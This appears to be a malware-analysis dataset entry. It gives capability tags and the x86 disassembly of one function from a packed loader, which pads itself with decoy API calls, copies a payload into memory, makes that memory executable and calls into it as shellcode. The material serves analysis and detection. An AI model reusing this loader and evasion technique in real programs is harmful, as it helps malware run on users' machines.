Function at 0x406130
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get common file path
Get file attributes
Get geographical location
Get session user name
Manipulate console buffer

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x40b9a0
mov eax, dword fs:[0]
push eax
sub esp, 0x50
mov eax, dword [0x42b01c]
xor eax, esp
mov dword [esp + 0x48], eax
push ebx
push esi
push edi
mov eax, dword [0x42b01c]
xor eax, esp
push eax
lea eax, [esp + 0x60]
mov dword fs:[0], eax
mov ebx, dword [sym.imp.KERNEL32.dll_ScrollConsoleScreenBufferA]
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, 0x3661b338
jmp 0x406180
cmp dword [0x4358b4], 0xc31
jne 0x4061a5
xor eax, eax
lea edx, [esp + 0x18]
push edx
push eax
lea ecx, [esp + 0x28]
push ecx
lea edx, [esp + 0x34]
push edx
push eax
mov dword [esp + 0x28], eax
call ebx
call esi
dec edi
jne 0x406180
mov edi, dword [sym.imp.KERNEL32.dll_ResetEvent]
mov eax, dword [0x4358b4]
xor ebx, ebx
xor esi, esi
lea esp, [esp]
cmp esi, 0x562d05
jne 0x4061d4
mov ecx, dword [0x42c994]
mov dword [0x435c3c], ecx
cmp eax, 0x3c
jne 0x4061e1
push ebx
call edi
mov eax, dword [0x4358b4]
inc esi
cmp esi, 0x5f6c74
jl 0x4061c0
cmp eax, 0x7c
jne 0x40622c
push ebx
lea edx, [esp + 0x1c]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov esi, dword [sym.imp.KERNEL32.dll_FindAtomW]
push ebx
call esi
push ebx
call dword [sym.imp.KERNEL32.dll_ConvertDefaultLocale]
push ebx
call esi
push ebx
call dword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
push ebx
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FreeLibraryAndExitThread]
cmp eax, 0x110a
jne 0x406290
push ebx
push ebx
mov dword [0x4358a8], ebx
mov dword [0x4358ac], ebx
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push str.yexabohisanewujolu
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_HeapCompact]
push ebx
push ebx
call fcn.00401491
push ebx
push ebx
call fcn.00401491
push ebx
push ebx
call fcn.004014dc
add esp, 0x18
push ebx
call fcn.0040185d
call fcn.00405ed0
xor esi, esi
cmp dword [0x4358b4], ebx
jbe 0x4062eb
mov edi, dword [sym.imp.KERNEL32.dll_CreateHardLinkA]
jmp 0x4062b0
mov eax, dword [0x435c3c]
mov dword [esp + 0x14], eax
mov eax, 0xa231
add dword [esp + 0x14], eax
cmp dword [0x4358b4], 0x5ab
mov ecx, dword [esp + 0x14]
mov dl, byte [ecx + esi]
mov eax, dword [0x4355d8]
mov byte [eax + esi], dl
jne 0x4062e2
push ebx
push ebx
push ebx
call edi
inc esi
cmp esi, dword [0x4358b4]
jb 0x4062b0
call fcn.00405f00
mov edx, dword [0x4358b4]
mov eax, dword [0x4355d8]
lea ecx, [esp + 0x1c]
push ecx
push 0x40
push edx
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.004060a0
call fcn.00405ef0
mov ebx, dword [esp + 0x38]
mov edi, dword [sym.imp.KERNEL32.dll_GetAtomNameA]
xor esi, esi
push 0
push 0
push 0
call edi
cmp esi, 0x1a01e
jle 0x406338
cmp ebx, 0xf5bed7
jne 0x406341
inc esi
cmp esi, 0x1ece7a52
jl 0x406320
mov edi, dword [sym.imp.KERNEL32.dll_WriteConsoleOutputCharacterW]
mov ebx, dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor esi, esi
nop
cmp esi, 0x12e6c3
jne 0x40635d
call fcn.00405ec0
cmp dword [0x4358b4], 0x3dc
mov dword [0x4355dc], 0x8e46a6f0
jne 0x40638a
xor ecx, ecx
lea eax, [esp + 0x18]
push eax
push ecx
push ecx
push str.vujibaraxeziweriroficijaxexeti
push ecx
mov dword [esp + 0x28], ecx
call edi
call ebx
inc esi
cmp esi, 0x1519a5
jl 0x406350
mov ecx, dword [esp + 0x60]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x48]
xor ecx, esp
call fcn.00401000
mov esp, ebp
pop ebp
ret